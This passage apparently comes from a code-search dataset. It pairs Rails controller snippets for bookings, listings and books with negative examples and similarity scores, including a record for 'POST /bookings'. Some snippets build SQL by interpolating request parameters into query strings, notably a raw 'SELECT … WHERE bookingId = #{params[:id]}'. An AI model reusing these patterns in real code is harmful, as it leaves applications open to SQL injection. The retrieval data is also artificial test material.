"def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end",
"def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end",
"def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end",
"def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def index\n @listings = Listing.all\n render json: @listings\n end",
"def index\n @bookings = current_user.bookings\n end",
"def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end",
"def show\n render json: { booking: @booking }, status: 200\n end",
"def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def show\n render json: @booking\n end",
"def show\n render json: @booking\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def index\n @bookings = Booking.where(user_id: current_user.id)\n end",
"def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end",
"def index\n @bookings = @hairdresser.bookings\n end",
"def index\n bookings = Room.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all rooms', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def index\n @bookings = Booking.user(@user.id)\n end",
"def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end",
"def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end",
"def all_bookings\n Booking.none\n end",
"def index\n if current_user\n @bookings = current_user.bookings.all\n end\n\n if current_host\n @job = Job.find_by(id: params[:job_id])\n @bookings = @job.bookings\n end\n end",
"def index\n @bookings = Booking.includes(:services)\n end",
"def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end",
"def show\n @booking = Booking.find_by(id: params[:id])\n if @booking\n render json: {success: true, status: 200, object: @booking}\n else\n render json: {success: false, status: 404, message: \"Not Found\"}\n end\n end",
"def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def book\n @book = Book.published.find(params[:id])\n render json: @book\n end",
"def index\n @user = User.find_by_id(params[:format])\n @bookings = Booking.where(user_id: params[:format])\n end",
"def show\n\n render json: @bookkeeping\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end",
"def index\n @booking_infos = BookingInfo.all\n end",
"def index\n @books = Book.all\n render json: @books\n end",
"def find_user_id\n @listings = Listing.where(\"user_id = ?\",params[:user_id]).all\n if !@listings.empty?\n ret = []\n @listings.each do |listing|\n ret << listing.as_json(include: :book)\n end\n render :json => ret\n else\n render :json => \"user has no listings\".to_json\n end\n end",
"def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end",
"def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def index\n @bookings = Booking.all(:include => [:user, :suite])\n @current_bookings = Booking.current_bookings\n @archived_bookings = Booking.archived_bookings\n @cancelled_bookings = Booking.cancelled_bookings\n\n respond_to do |format|\n format.html { render :layout => \"admin_layout\"}\n format.xml { render :xml => @bookings }\n end\n end",
"def index\n @room_bookings = RoomBooking.all\n end",
"def index\n @fg_bookings = FgBooking.all\n end",
"def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def index\n @online_bookings = OnlineBooking.all\n end",
"def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end",
"def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end",
"def index\n @bookings = Booking.all\n if params[:search]\n @search_term = params[:search]\n @bookings = @bookings.search_by(@search_term)\n end\n end",
"def show\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bidding }\n end\n end",
"def bookings(fields: nil, options: nil)\n opts_keys = %i[boundaryId boundaryStartsAt direction displayTimeZone jumpToDate profileIds search]\n params = build_option_params options, opts_keys, fields: fields\n res = @connection.get booking_path, params\n map_as_collection res, Booking\n end",
"def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"def index\n query = 'SELECT * FROM Booking'\n @bookings = Booking.find_by_sql(query)\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def bookings()\n sql = \"SELECT bookings.*\n FROM bookings\n WHERE bookings.schedule_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql,values)\n bookings = Booking.map_items(result)\n return bookings\n end",
"def index\n @bookings = smart_listing_create(:bookings, Booking.includes(:seat, :user).where(user_id: current_user.id), partial: \"bookings/listing\")\n end",
"def show\n @bookings = @customer.bookings\n end",
"def index\n @bookings = current_user.bookings\n binding.pry\n #@bookingsegregator = Booking.segregator\n end",
"def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"def all_bookings\n Booking.includes(:user, :court).ordered.load\n end",
"def index\n @bookings = Booking.where(:customer_id => session['customer_id'])\n end",
"def show\n render json: @book\n end",
"def index\n @booking_details = BookingDetail.all\n end",
"def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"def find_id\n if Listing.exists?(params[:id])\n @listing = Listing.find(params[:id])\n render :json => @listing.as_json(include: :book)\n else\n render :json => \"listing not found\".to_json\n end\n end",
"def index\n @bookings = Booking.order(id: :desc)\n end",
"def index\n @biddings = Bidding.all\n end",
"def show\n render json: @service_booking\n end",
"def show\n @booking = Booking.find(params[:id])\n end",
"def show\n @bookings = Booking.all\n @rooms = Room.all\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end",
"def index\n @booking_statuses = BookingStatus.all\n end",
"def bookings()\n sql = \"SELECT * FROM bookings WHERE bookings.gymclass_id = $1;\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map {|booking| Booking.new(booking)}\n end"
] | [
"0.8231102",
"0.80365145",
"0.80220497",
"0.80220497",
"0.80220497",
"0.7619097",
"0.7607287",
"0.7501954",
"0.7437335",
"0.74355394",
"0.736671",
"0.73389894",
"0.73331183",
"0.73266363",
"0.73217666",
"0.72310644",
"0.7227939",
"0.71933675",
"0.71933675",
"0.71933675",
"0.71933675",
"0.7145121",
"0.71196496",
"0.70844454",
"0.7068138",
"0.70634925",
"0.6997092",
"0.6988636",
"0.6988636",
"0.69486886",
"0.6948613",
"0.6942897",
"0.69407207",
"0.69219196",
"0.68844646",
"0.6873678",
"0.68719894",
"0.68486196",
"0.6814593",
"0.6804705",
"0.6786011",
"0.6759293",
"0.6757766",
"0.67523646",
"0.67449206",
"0.6740214",
"0.6727567",
"0.67193884",
"0.6708978",
"0.66504943",
"0.66458344",
"0.664233",
"0.6594441",
"0.65912014",
"0.6579298",
"0.65675294",
"0.6562665",
"0.65623444",
"0.6541979",
"0.6531522",
"0.65299183",
"0.64960617",
"0.6492825",
"0.64922136",
"0.6476216",
"0.64701396",
"0.64521086",
"0.6446309",
"0.6438177",
"0.643674",
"0.64366347",
"0.6424101",
"0.6422121",
"0.64186513",
"0.6413106",
"0.6401445",
"0.6396427",
"0.63874567",
"0.63870436",
"0.6386612",
"0.63841397",
"0.6383486",
"0.6375648",
"0.63753766",
"0.63749844",
"0.6365202",
"0.6352541",
"0.63498"
] | 0.7473071 | 20 |
GET /bookings/1 GET /bookings/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend",
"def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n respond_with(@bookings)\n end",
"def show\n render json: { booking: @booking }, status: 200\n end",
"def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end",
"def book\n @book = Book.published.find(params[:id])\n render json: @book\n end",
"def show\n @booking = Booking.find_by(id: params[:id])\n if @booking\n render json: {success: true, status: 200, object: @booking}\n else\n render json: {success: false, status: 404, message: \"Not Found\"}\n end\n end",
"def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end",
"def index\n @bookings = @user.bookings\n end",
"def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n render json: @booking\n end",
"def show\n render json: @booking\n end",
"def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end",
"def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend",
"def index\n @bookings = @hairdresser.bookings\n end",
"def show\n @booking = Booking.find(params[:id])\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end",
"def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end",
"def index\n @bookings = Booking.user(@user.id)\n end",
"def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end",
"def index\n @user = User.find_by_id(params[:format])\n @bookings = Booking.where(user_id: params[:format])\n end",
"def index\n @bookings = current_user.bookings\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def find_id\n if Listing.exists?(params[:id])\n @listing = Listing.find(params[:id])\n render :json => @listing.as_json(include: :book)\n else\n render :json => \"listing not found\".to_json\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end",
"def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end",
"def index\n @bookings = Booking.where(user_id: current_user.id)\n end",
"def show\n\n render json: @bookkeeping\n end",
"def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end",
"def show\n @book_shelf = BookShelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_shelf }\n end\n end",
"def show\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @book }\r\n end\r\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def index\n @listings = Listing.all\n render json: @listings\n end",
"def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end",
"def show\n find_book(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"def show\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bidding }\n end\n end",
"def show\n render json: @book\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end",
"def index\n @booking_infos = BookingInfo.all\n end",
"def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"def index\n @books = Book.all\n render json: @books\n end",
"def show\n \n @booking = Booking.find( params[ :id ] )\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @booking.to_xml }\n format.json { render :json => @booking.to_json }\n format.yaml { render :text => @booking.to_yaml }\n end\n \n end",
"def index\n @bookings = Booking.includes(:services)\n end",
"def show\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @businessbook }\n end\n end",
"def index\n if current_user\n @bookings = current_user.bookings.all\n end\n\n if current_host\n @job = Job.find_by(id: params[:job_id])\n @bookings = @job.bookings\n end\n end",
"def find_booking\n @booking = Booking.find(params[:id])\n end",
"def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end",
"def show\n render json: @api_book\n end",
"def all_bookings\n Booking.none\n end",
"def book\n fetch('harry_potter.books')\n end",
"def show\n @booking = Booking.find(params[:id])\n \n respond_to do |format|\n format.html \n format.xml { render :xml => @booking }\n end\n end",
"def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end",
"def index\n @booking_details = BookingDetail.all\n end",
"def show\n query = \"SELECT * FROM Booking WHERE bookingId = #{params[:id]}\"\n @booking = Booking.find_by_sql(query).first\n end",
"def index\n query = 'SELECT * FROM Booking'\n @bookings = Booking.find_by_sql(query)\n end",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def show\n @guestbook = Guestbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guestbook }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end"
] | [
"0.7792227",
"0.76486146",
"0.76486146",
"0.76486146",
"0.7639873",
"0.76036",
"0.75728196",
"0.73642766",
"0.73642766",
"0.73642766",
"0.73642766",
"0.7240851",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.72076625",
"0.7168955",
"0.7167209",
"0.71367776",
"0.70906657",
"0.7089281",
"0.70789456",
"0.7032447",
"0.70100784",
"0.6983121",
"0.6961471",
"0.69286007",
"0.69286007",
"0.6917408",
"0.68635285",
"0.68557465",
"0.6799164",
"0.678653",
"0.67856544",
"0.67639655",
"0.6758429",
"0.67488253",
"0.6746061",
"0.673127",
"0.6716272",
"0.6703119",
"0.6670175",
"0.66646093",
"0.6651707",
"0.66194445",
"0.6616011",
"0.6608245",
"0.6576175",
"0.6576175",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.6573706",
"0.65714735",
"0.65634745",
"0.6553147",
"0.6551741",
"0.6551741",
"0.65471107",
"0.65301085",
"0.6529312",
"0.65241057",
"0.6522606",
"0.6519111",
"0.6511065",
"0.6494823",
"0.6490768",
"0.6486875",
"0.64864916",
"0.6473473",
"0.64722574",
"0.64720714",
"0.64553493",
"0.64446235",
"0.6439157",
"0.6423847",
"0.64127743",
"0.64108276",
"0.6409593",
"0.6400095",
"0.63952094",
"0.6393929",
"0.63879126",
"0.63716966",
"0.63709545",
"0.63671273",
"0.6360719"
] | 0.0 | -1 |
POST /bookings POST /bookings.json | def create
@booking = Booking.new(booking_params)
@booking.price = @booking.calculate_price(params[:booking][:hours].to_i)
@booking.save
create_booking_job_instances_from_array(save_jobs, @booking)
if user_signed_in?
@user = User.find(current_user.id)
@booking.user = @user
Mailer.new_booking(@user, @booking).deliver
else
@user = @booking.build_user(user_params[:user])
# stripe_user_object = User.create_stripe_user(params[:stripeToken], @user.name)
# @user.stripe_id = stripe_user_object.id
@user.password = Devise.friendly_token.first(8)
@user.save
Mailer.welcome(@user, @booking).deliver
end
# CHARGE THE CARD
# begin
# charge = Stripe::Charge.create(
# :amount => @booking.price, # amount in cents, again
# :currency => "usd",
# :customer => @user.stripe_id,
# )
# rescue Stripe::CardError => e
# # The card has been declined
# end
respond_to do |format|
if @booking.save
sign_in(:user, @user)
format.html { redirect_to user_url, notice: 'Booking was saved! Check your email for confirmation.' }
else
format.html { render action: 'new' }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n booking = Booking.create(booking_params)\n render json: booking\n end",
"def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend",
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = @hairdresser.bookings.create(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to hairdresser_booking_path(@hairdresser,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu oprettet.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n set_parent\n set_session\n if @session.bookings.where(user_id: @parent.id) != []\n render_booked\n else\n @booking = Booking.new(booking_params)\n @booking.parent = @parent\n @booking.session = @session\n if @booking.save\n render json: { booking: @booking, status: :success }\n else\n render_error\n end\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end",
"def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def create\n\n @listing = Listing.new(listing_params)\n\n @listing.save\n\n render json: @listing\n redirect_to listings_path # redirect to home page\n end",
"def create\n @booking = @instrument.bookings.new(booking_params)\n @booking.user = current_user\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: t('.success') }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end",
"def create\n # @user = User.find(params[:user_id])\n # parking = Parking.find(params[:parking_id])\n # @booking = @user.bookings.build(parking: parking, user: @user)\n @booking = @user.bookings.build(parking: @parking)\n @booking.update(booking_params)\n\n\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @current_user = User.find(session[:user_id])\n @booking = Booking.new(\n user_id: @current_user.id,\n department_id: params[:data]['department_id'],\n timeStamp: params[:data]['timeStamp'],\n doctorsBoard: params[:data]['doctorsBoard'],\n description: params[:data]['description']\n )\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n @booking.save\n redirect_to action: \"index\"\n end",
"def create\n @booking = Booking.new(booking_params)\n begin\n @response = Booking.create_booking(booking_options)\n @booking.log = @response\n @booking.picap_id = @response[\"_id\"]\n notice = \"Booking was successfully created.\"\n rescue RestClient::Exception => exception\n @booking.log = exception.response\n alert = exception.response\n end\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to root_path, notice: notice, alert: alert }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
